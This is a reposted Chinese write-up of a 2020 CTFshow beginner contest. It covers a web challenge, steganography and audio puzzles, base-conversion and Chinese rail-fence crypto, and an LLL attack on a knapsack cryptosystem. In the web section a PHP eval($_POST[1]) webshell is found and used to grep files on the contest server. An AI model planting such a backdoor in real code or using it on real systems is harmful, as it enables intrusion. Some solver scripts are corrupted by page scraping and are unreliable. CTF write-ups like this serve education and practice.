CTFshow 菜鸡杯

admin 2021年10月11日22:35:45CTFshow 菜鸡杯已关闭评论182 views字数 18453阅读61分30秒阅读模式

https://hub.ctfer.com/

任务:打败五大派高手的围攻,最后挑战邪恶BOSS【没技术是菜鸡】

比赛:CTFshow 菜鸡杯 (简称:鸡杯)

开始:2020/8/29 9:00

结束:2020/8/30 9:00

题目: web 杂项 密码 逆向 pwn 若干道

规则:
1 比赛期间可以随意讨论,wp须在比赛结束后发布,wp统一发布地址:https://wp.ctf.show
2 公平竞技,独立比赛
3 服务器不要爆破,不要攻击服务器,不要扫描!!!
4 奖品:rank最高的师傅获得武林神器:上古鸡杯 x 1 ,获得称号:鸡杯王


第一关 Web派的挑战

摇号入园

http://119.28.74.193:28066/

hint:后台里面找邮箱

发现页面有报错,index.php含一句话马eval($_POST[1]);

直接上蚁剑,使用密码1连接http://119.28.74.193:28066/index.php,拿到webshell,接下来找flag;

查看目录列表查看最近修改的文件未发现flag,根据修改日期,进入命令行用find命令按内容搜索configruntime目录:

find /var/www/html/config | xargs grep "flag{"

find /var/www/html/runtime | xargs grep "flag{"

/var/www/html/rumtime/log/202008/22.log中找到flag:

1
2
3
4
5
6
7
8
9
(www-data:/var/www/html/runtime) $ find . | xargs grep "flag{"
grep: .: Is a directory
grep: ./cache: Is a directory
grep: ./cache/4e: Is a directory
grep: ./temp: Is a directory
grep: ./log: Is a directory
grep: ./log/202008: Is a directory
./log/202008/22.log: 'email_password' => 'flag{ctf_show_boy}',
./log/202008/22.log:[ sql ] [ SQL ] UPDATE `kite_site_config` SET `v` = 'flag{ctf_show_boy}' WHERE `site_id` = 1 AND `k` = 'email_password' [ RunTime:0.000250s ]

第二关 杂项派的挑战

猎兔

https://ctfshow.lanzous.com/imJj4g62dwj

png文件

hint: 兔兔数列

查看16进制发现crc值不匹配,用png图片宽高爆破脚本得到正确高度(或直接改大高度),修改得到提示:

image-20200829182442890

结合hint,兔子数列即为斐波那契数列。

用zsteg查看png图有无隐写内容,发现lsb按列提取的green最低位有一串接近flag的字符串:

image-20200829182543241

看到其中flag{五个字符串分别对应着0,1,2,4,7位(反斜杠转义),差值为1,1,2,3刚好对应斐波那契数列前四项;

用stegsolve.jar取出lsb按列提取的green最低位完整字符串,存bin文件:

image-20200829183349306

最后用脚本按斐波那契数列方式提取字符拼接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
s=open('out.bin','r').read()

t=[1,1]
for i in range(2,100):
t.append(t[i-1]+t[i-2])
flag=''
i=0
j=0
while j<len(s):
if j>=len(s):
break
ss+=s[j]
j+=t[i]
i+=1

print(flag)

初音未来-圆周率之歌

https://ctfshow.lanzous.com/iq64Jg62egj

mp3文件

hint1: 歌词,看看那首歌最后

hint2: 福尔摩斯有一章说过,这种形式的密文 一般都需要一个字典。这种组合,一般表示 要么是 多少页的第多几个单词。但是因为 xxxx 比较大,一般没有这么厚的书。所以我们可以认为,他是一个灰常长的字典,然后?表示顺序截取?个字符。

audacity查看mp3音频没什么发现,后放出两个hint,思路很明显了。

mp3文件最后内容:

image-20200829184303503

歌词为10000+位 的值,按照其中的(a,b)组合分别从歌词提取a位置开始b长度的数字,再转成字符即可。

1
2
3
4
5
6
7
8
9
10
11

dic={2750:3,2535:3,739:2,3487:3,1925:3,451:2,898:2,1479:2,1623:2,1541:2,1232:2,1118:2,1780:2,594:2,2033:2,79:2,1193:2,406:2,1623:2,774:2,1223:2,1351:3}

s='3.14159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196442881097566593344612847564823378678316527120190914564856692346034861045432664821339360726024914127372458700660631558817488152092096282925409171536436789259036001133053054882046652138414695194151160943305727036575959195309218611738193261179310511854807446237996274956735188575272489122793818301194912983367336244065664308602139494639522473719070217986094370277053921717629317675238467481846766940513200056812714526356082778577134275778960917363717872146844090122495343014654958537105079227968925892354201995611212902196086403441815981362977477130996051870721134999999837297804995105973173281609631859502445945534690830264252230825334468503526193118817101000313783875288658753320838142061717766914730359825349042875546873115956286388235378759375195778185778053217122680661300192787661119590921642019893809525720106548586327886593615338182796823030195203530185296899577362259941389124972177528347913151557485724245415069595082953311686172785588907509838175463746493931925506040092770167113900984882401285836160356370766010471018194295559619894676783744944825537977472684710404753464620804668425906949129331367702898915210475216205696602405803815019351125338243003558764024749647326391419927260426992279678235478163600934172164121992458631503028618297455570674983850549458858692699569092721079750930295532116534498720275596023648066549911988183479775356636980742654252786255181841757467289097777279380008164706001614524919217321721477235014144197356854816136115735255213347574184946843852332390739414333454776241686251898356948556209921922218427255025425688767179049460165346680498862723279178608578438382796797668145410095388378636095068006422512520511739298489608412848862694560424196528502221066118630674427862203919494504712371378696095636437191728746776465757396241389086583264599581339047802759009946576407895126946839835259570982582262052248940772671947826848260147699090264013639443745530506820349625245174939965143142980919065925093722169646151570985838741059788595977297549893016175392846813826868386894277415599185592524595395943104997252468084598727364469584865383673622262609912460805124388439045124413654976278079771569143599770012961608944169486855584840635342207222582848864815845602850601684273945226746767889525213852254995466672782398645659611635488623057745649803559363456817432411251507606947945109659609402522887971089314566913686722874894056010150330861792868092087476091782493858900971490967598526136554978189312978482168299894872265880485756401427047755513237964145152374623436454285844479526586782105114135473573952311342716610213596953623144295248493718711014576540359027993440374200731057853906219838744780847848968332144571386875194350643021845319104848100537061468067491927819119793995206141966342875444064374512371819217999839101591956181467514269123974894090718649423196156794520809514655022523160388193014209376213785595663893778708303906979207734672217256259966150142150306803844773454920260541466592520149744285073251866600213243408819071048633173464965145390579626856100550810665879699816357473638405257145910289706414011097120628043903975951567715770042033786993600723055876317635942187312514712053292819182618612586732157919841484882916447060957527069572209175671167229109816909152801735067127485832228718352093539657251210835791513698820914442100675103346711031412671113699086585163983150197016515116851714376576183515565088490998985998238734552833163550764791853589322618548963213293308985706420467525907091548141654985946163718027098199430992448895757128289059232332609729971208443357326548938239119325974636673058360414281388303203824903758985243744170291327656180937734440307074692112019130203303801976211011004492932151608424448596376698389522868478312355265821314495768572624334418930396864262434107732269780280731891544110104468232527162010526522721116603966655730925471105578537634668206531098965269186205647693125705863566201855810072936065987648611791045334885034611365768675324944166803962657978771855608455296541266540853061434443185867697514566140680070023787765913440171274947042056223053899456131407112700040785473326993908145466464588079727082668306343285878569830523580893306575740679545716377525420211495576158140025012622859413021647155097925923099079654737612551765675135751782966645477917450112996148903046399471329621073404375189573596145890193897131117904297828564750320319869151402870808599048010941214722131794764777262241425485454033215718530614228813758504306332175182979866223717215916077166925474873898665494945011465406284336639379003976926567214638530673609657120918076383271664162748888007869256029022847210403172118608204190004229661711963779213375751149595015660496318629472654736425230817703675159067350235072835405670403867435136222247715891504953098444893330963408780769325993978054193414473774418426312986080998886874132604721569516239658645730216315981931951673538129741677294786724229246543668009806769282382806899640048243540370141631496589794092432378969070697794223625082216889573837986230015937764716512289357860158816175578297352334460428151262720373431465319777741603199066554187639792933441952154134189948544473456738316249934191318148092777710386387734317720754565453220777092120190516609628049092636019759882816133231666365286193266863360627356763035447762803504507772355471058595487027908143562401451718062464362679456127531813407833033625423278394497538243720583531147711992606381334677687969597030983391307710987040859133746414428227726346594704745878477872019277152807317679077071572134447306057007334924369311383504931631284042512192565179806941135280131470130478164378851852909285452011658393419656213491434159562586586557055269049652098580338507224264829397285847831630577775606888764462482468579260395352773480304802900587607582510474709164396136267604492562742042083208566119062545433721315359584506877246029016187667952406163425225771954291629919306455377991403734043287526288896399587947572917464263574552540790914513571113694109119393251910760208252026187985318877058429725916778131496990090192116971737278476847268608490033770242429165130050051683233643503895170298939223345172201381280696501178440874519601212285993716231301711444846409038906449544400619869075485160263275052983491874078668088183385102283345085048608250393021332197155184306354550076682829493041377655279397517546139539846833936383047461199665385815384205685338621867252334028308711232827892125077126294632295639898989358211674562701021835646220134967151881909730381198004973407239610368540664319395097901906996395524530054505806855019567302292191393391856803449039820595510022635353619204199474553859381023439554495977837790237421617271117236434354394782218185286240851400666044332588856986705431547069657474585503323233421073015459405165537906866273337995851156257843229882737231989875714159578111963583300594087306812160287649628674460477464915995054973742562690104903778198683593814657412680492564879855614537234786733039046883834363465537949864192705638729317487233208376011230299113679386270894387993620162951541337142489283072201269014754668476535761647737946752004907571555278196536213239264061601363581559074220202031872776052772190055614842555187925303435139844253223415762336106425063904975008656271095359194658975141310348227693062474353632569160781547818115284366795706110861533150445212747392454494542368288606134084148637767009612071512491404302725386076482363414334623518975766452164137679690314950191085759844239198629164219399490723623464684411739403265918404437805133389452574239950829659122850855582157250310712570126683024029295252201187267675622041542051618416348475651699981161410100299607838690929160302884002691041407928862150784245167090870006992821206604183718065355672525325675328612910424877618258297651579598470356222629348600341587229805349896502262917487882027342092222453398562647669149055628425039127577102840279980663658254889264880254566101729670266407655904290994568150652653053718294127033693137851786090407086671149655834343476933857817113864558736781230145876871266034891390956200993936103102916161528813843790990423174733639480457593149314052976347574811935670911013775172100803155902485309066920376719220332290943346768514221447737939375170344366199104033751117354719185504644902636551281622882446257591633303910722538374218214088350865739177150968288747826569959957449066175834413752239709683408005355984917541738188399944697486762655165827658483588453142775687900290951702835297163445621296404352311760066510124120065975585127617858382920419748442360800719304576189323492292796501987518721272675079812554709589045563579212210333466974992356302549478024901141952123828153091140790738602515227429958180724716259166854513331239480494707911915326734302824418604142636395480004480026704962482017928964766975831832713142517029692348896276684403232609275249603579964692565049368183609003238092934595889706953653494060340216654437558900456328822505452556405644824651518754711962184439658253375438856909411303150952617937800297412076651479394259029896959469955657612186561967337862362561252163208628692221032748892186543648022967807057656151446320469279068212073883778142335628236089632080682224680122482611771858963814091839036736722208883215137556003727983940041529700287830766709444745601345564172543709069793961225714298946715435784687886144458123145935719849225284716050492212424701412147805734551050080190869960330276347870810817545011930714122339086639383395294257869050764310063835198343893415961318543475464955697810382930971646514384070070736041123735998434522516105070270562352660127648483084076118301305279320542746286540360367453286510570658748822569815793678976697422057505968344086973502014102067235850200724522563265134105592401902742162484391403599895353945909440704691209140938700126456001623742880210927645793106579229552498872758461012648369998922569596881592056001016552563756785667227966198857827948488558343975187445455129656344348039664205579829368043522027709842942325330225763418070394769941597915945300697521482933665556615678736400536665641654732170439035213295435291694145990416087532018683793702348886894791'

flag=''

for k,v in dic.items():
flag+=chr(int(s[k:k+v]))

print(flag)

差一点

https://ctfshow.lanzous.com/iNbACg62edg

It’s so easy,you can trytrysee.

JSFUCK编码,去掉最后的(),在浏览器Console中运行得flag。

第三关 CRYPTO派的挑战

我们不吃荤

https://hub.ctfer.com/file/crypto1.zip

只有二进制的世界是不是有些无聊

查看文件,只有0,1,2三种数字,猜测为3进制,转换为16进制后,出现多个3X模式的子串,猜测转为字符;转换后又有0,1,2,3,4四中数字,猜测为5进制,转换为16进制后,又出现多个3X模式的子串……

不断尝试发现规律,需要转换的进制均为素数进制(不吃荤?)。中间需要不断尝试输出结果以确定进制数,注意int()函数的第二参数仅支持36及以下数值的转换,大于36的情况需要自行实现进制转换函数change()。脚本解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
s=open('c.txt','r').read()

s=int(s,3)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,5)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,7)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,11)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,13)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,17)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,19)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,23)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,29)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=int(s,31)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()


dic={}
for i in range(10):
dic[chr(ord('0')+i)]=i
for i in range(26):
dic[chr(ord('a')+i)]=i+10
for i in range(26):
dic[chr(ord('A')+i)]=i+10+26
print(dic)

def change(s,k):
j=0
res=0
for i in range(len(s)):
res+=dic
展开收缩
]*pow(k,j)

j+=1
return res

s=change(s,37)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=change(s,41)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=change(s,43)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=change(s,47)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=change(s,53)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=change(s,59)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()

s=change(s,61)
s=hex(s)[2:]
s=bytes.fromhex(s).decode()


print(s)

天仙金丹心法

https://hub.ctfer.com/file/crypto2.zip

道在屎溺

○ 须要:次想把常面知本用都部道文哈是用已本连希无来比净题续即用凑如妙道密进可的字真法在海码行:○ 数灭自屎凡器只三后全而神然溺鼎归心

查询知此为中文栅栏解密,且每一栏递增,还原:

image-20200829223106703

竖着读,用常见md5计算三次即为flag。

1
2
3
4
5
6
7
8
9
from hashlib import md5

s=open('题目.txt','rb').read()
s=md5(s).hexdigest()
s=md5(s.encode()).hexdigest()
s=md5(s.encode()).hexdigest()
print(s)

open('out.txt','w').write(s)

Knapsack My Number Theory Book

https://hub.ctfer.com/file/crypto3.zip

hint1: 1112222333333 mod (10^7)=2333333
hint2: Knapsack Cryptosystem

有机会参与Crypto的压轴题出题~~ 不过好像没有人碰= =

其实这题是一个数论题与背包加密系统的套娃题。

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from json import dump
from random import SystemRandom
from hashlib import *

random = SystemRandom()

k, n, d = 15, 40, 0.4

B = 2**(n//d)
A = [random.randint(1, B) for _ in range(n)]
s = sum(A[index] for index in random.sample(range(n), k))
part = int(str(int.from_bytes(str(s).encode(), byteorder='little') << 10000)[-175:])

dump((A,part), open("data", "w"))
print(s)
print(part)

inp = input("Please input the solution (0, 1, 0, 1, ...): ")
sol = [int(i) for i in inp.split(',')]

assert sum(i == 1 for i in sol) == k
assert len(sol) == n
assert all(i == 0 or i == 1 for i in sol)

if sum(x*a for x, a in zip(sol, A)) == s:
m = md5(''.join(str(i) for i in sol).encode()).hexdigest()
print(f"TQL!! flag is {m.join(['flag{', '}'])}")

外层是 背包密码系统,即40维子集和问题,解向量重量为15,背包密度为0.4(40长度的01解向量数组中含15个1);

内层是需要一点数论知识才能从part求解出的s,即子集和的值;

求解出01解向量组成的字符串md5哈希值即为flag。

  • 内层

    int.from_bytes(bytes, byteorder, *, signed=False)

    可实现不固定长度的bytes类型数据转int类型数据,byteorder标志小字节顺序还是大字节顺序

    根据part值还原s值,其中byteorder='little'代表小端序(反序),假设 反序字符串对应的int值,part值,根据已知关系有:

    t左移10000位后后175位值为part

    ,故 ,又 以 175位的 结尾,即:

    但此时不能直接应用模逆运算计算出 ,因为

    做一下转换:

    分解 发现:

    ,则

    通过求模逆可还原 ,再还原出

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    from gmpy2 import invert

    n = pow(5,175)
    p = 5845718273413614238047854434058144506973237928951593664100212455023083304425941087047510727554535833686148194478724602632928856425119454505382766186798132132909079456410238976

    y = p // pow(2,175)
    k = pow(2, 9825, n)
    kinv = int(invert(k, n))
    t = (y * kinv) % n
    print(t)


    s = int(bytes.fromhex(hex(t)[2:])[::-1])
    print(s)

  • 外层

    小规模的背包密码系统,可以直接用常见LLL算法攻击,参考:

    https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/knapsack/knapsack-zh/

    Sage脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import binascii

    pubKey = [291261609902039997017727282042, 323900844596016068072642445649, 266988452026099177894210813748, 408729576966214254532209048947, 437048374902001262457529358416, 45441859606116873131092743344, 51312372228432799205402860932, 446894113383896613780223791057, 387275979896657368942582580348, 106191812735537081768832792472, 314442025322217482482346876963, 458938676660836185669115411856, 624514817837775109409742774239, 223466848034665041761802574065, 317380931967330048573366834100, 305525458686341075758884485721, 477363540414430757340867483621, 538724147876064506850294590869, 147986153711350097748394541291, 237604431565908226570207609923, 168061497374145289079315904395, 226257393036905506618868519191, 606131084939410793557726750445, 229847073637282132507525425264, 189589107972678036785075475201, 258811229764745601613575317649, 188968262675983804863009858052, 594623692847436704500625622597, 494291994428984378953385211372, 602493249658184503910046469358, 196950288482747513670119067849, 300975486828861896159703499663, 606100573531309594132334686576, 330763266814750730387569732411, 169247067050997623804446808122, 488060887558585221461996453780, 235957723689777110563629411239, 617280674032071480762572507845, 1187994588804681817349174099, 286948311141611416450158085330]
    nbit = len(pubKey)

    encoded = 4823023867810203947898718813977
    print("start")

    A = Matrix(ZZ, nbit + 1, nbit + 1)

    for i in range(nbit):
    A[i, i] = 1

    for i in range(nbit):
    A[i, nbit] = pubKey[i]

    A[nbit, nbit] = -int(encoded)

    res = A.LLL()
    for i in range(0, nbit + 1):

    M = res.row(i).list()
    flag = True
    for m in M:
    if m != 0 and m != 1:
    flag = False
    break
    if flag:
    print(i, M)
    M = ''.join(str(j) for j in M)

    M = M[:-1]
    print(''.join([str(i) for i in M]))

    第四关 逆向派的挑战

    第五关 胖派的挑战

    弱鸡略过Hard Re+PWN~

    第六关 没技术是菜鸡大魔王

    最菜的boss

    https://hub.ctfer.com/file/boss.zip

    菜鸡中的战斗机

    源码:

    1
    2
    3
    4
    5
    6
    7
    8
    import wmi
    import time

    for i in ['N','B','N','B','N','B','N','B','N','B','B','B','N','B','B','B','N','B','B','N','B','N','N','B','N','B','B','N','B','B','B','N']:
    wmi.WMI(namespace='root\WMI').WmiMonitorBrightnessMethods()[0].WmiSetBrightness(Brightness=ord(i), Timeout=500)
    time.sleep(char('!'))


    无需知道wmi包及其函数(设置LCD背光亮度)的含义,NB两字符替换为01,转16进制再转字符,简单粗暴。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月11日22:35:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFshow 菜鸡杯https://cn-sec.com/archives/578069.html